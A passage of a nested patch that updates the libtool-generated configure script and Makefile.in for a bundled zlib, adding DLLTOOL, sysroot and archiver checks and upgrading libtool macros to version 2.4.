+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+diff --git a/zlib/Makefile.in b/zlib/Makefile.in
+index dd8a21deba1..28628282c56 100644
+--- a/zlib/Makefile.in
++++ b/zlib/Makefile.in
+@@ -281,6 +281,7 @@ CPPFLAGS = @CPPFLAGS@
+ CYGPATH_W = @CYGPATH_W@
+ DEFS = @DEFS@
+ DEPDIR = @DEPDIR@
++DLLTOOL = @DLLTOOL@
+ DSYMUTIL = @DSYMUTIL@
+ DUMPBIN = @DUMPBIN@
+ ECHO_C = @ECHO_C@
+@@ -305,6 +306,7 @@ LN_S = @LN_S@
+ LTLIBOBJS = @LTLIBOBJS@
+ MAINT = @MAINT@
+ MAKEINFO = @MAKEINFO@
++MANIFEST_TOOL = @MANIFEST_TOOL@
+ MKDIR_P = @MKDIR_P@
+ NM = @NM@
+ NMEDIT = @NMEDIT@
+@@ -331,6 +333,7 @@ abs_builddir = @abs_builddir@
+ abs_srcdir = @abs_srcdir@
+ abs_top_builddir = @abs_top_builddir@
+ abs_top_srcdir = @abs_top_srcdir@
++ac_ct_AR = @ac_ct_AR@
+ ac_ct_CC = @ac_ct_CC@
+ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ am__include = @am__include@
+diff --git a/zlib/configure b/zlib/configure
+index 2d551360683..e01d0a70438 100755
+--- a/zlib/configure
++++ b/zlib/configure
+@@ -648,8 +648,11 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
+ RANLIB
++ac_ct_AR
+ AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -776,6 +779,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_host_shared
+ enable_host_pie
+@@ -1432,6 +1436,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+
+ Some influential environment variables:
+ CC C compiler command
+@@ -4190,8 +4196,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -4231,7 +4237,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -5054,8 +5060,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -5104,6 +5110,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -5120,6 +5200,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -5288,7 +5373,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -5447,6 +5533,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -5462,6 +5563,158 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -5476,8 +5729,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -5493,7 +5748,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -5513,11 +5768,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -5533,7 +5792,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -5552,6 +5811,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -5563,25 +5826,19 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
+
+
+
+@@ -5593,6 +5850,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
++
++
++
++
++
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+ set dummy ${ac_tool_prefix}strip; ac_word=$2
+@@ -5932,8 +6247,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
